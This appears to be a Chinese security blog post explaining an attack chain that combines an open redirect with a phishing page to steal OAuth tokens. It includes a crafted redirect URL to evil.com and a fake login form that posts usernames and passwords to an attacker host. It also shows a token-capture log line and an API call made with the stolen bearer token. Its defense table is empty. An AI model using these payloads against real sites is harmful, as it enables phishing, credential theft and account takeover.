一次 OAuth 登录背后的隐患:被忽略的 URL 跳转漏洞
一次 OAuth 登录背后的隐患:被忽略的 URL 跳转漏洞
原创 火力猫 季升安全 2025-04-16 09:12
🎣 URL跳转 + OAuth Token 劫持攻击链详解
⚙️ 场景示例:
-
目标站点:https://login.example.com
(支持 OAuth 授权) -
合作跳转域:https://partner.example.com/login?next=…
(存在 URL 跳转漏洞) -
攻击者控制站:https://evil.com
(钓鱼 + 收集令牌)
🧩 步骤详解
🧱 第 1 步:发现可利用跳转点
攻击者发现:
https://partner.example.com/login?next=https://evil.com/oauth-grabber
服务器未验证 next
参数是否为内部地址,导致任意跳转漏洞(Open Redirect)
。
🎣 第 2 步:构造诱导链接并钓鱼
攻击者在社工邮件中嵌入链接:
点击重置密码:https://partner.example.com/login?next=https://evil.com/oauth-grabber
用户以为自己在访问可信“example.com”登录页面,其实会被跳转到攻击者页面。
🕸 第 3 步:跳转并伪造 OAuth 授权页面
https://evil.com/oauth-grabber
页面伪装成 Legit OAuth 登录页:
<form action="https://evil.com/gettoken" method="POST"> <input name="username" placeholder="用户名"> <input name="password" type="password" placeholder="密码"> <button>登录</button></form>
或者伪造一个授权确认框,诱导用户点击“授权”。
🧪 第 4 步:用户提交认证,攻击者收集 Token
用户点击“登录”或“授权”后:
– 页面调用后端从 example.com
发起真实的 OAuth 请求;
- 捕获 access_token
,回传给攻击者服务。
例如 token 被记录在日志中:
[+] Received OAuth token: abc1234xyz
🛠 第 5 步:攻击者利用 Token 操作用户账号
拿到 access_token
后,攻击者请求 API:
GET /api/accountAuthorization: Bearer abc1234xyz
实现:
– 伪装身份进入用户账号
- 下载个人资料、订单、甚至发起转账操作
🔥 攻击链总结
[攻击者发送钓鱼链接] ↓https://partner.example.com/login?next=https://evil.com ↓(Open Redirect)[用户被重定向到伪造登录页] ↓[输入凭证或点击“授权”] ↓[攻击者服务器获取 access_token] ↓[使用 token 冒充用户调用真实接口]
🧯 防御措施
|
|
---|---|
|
|
|
|
|
|
|
|
|
|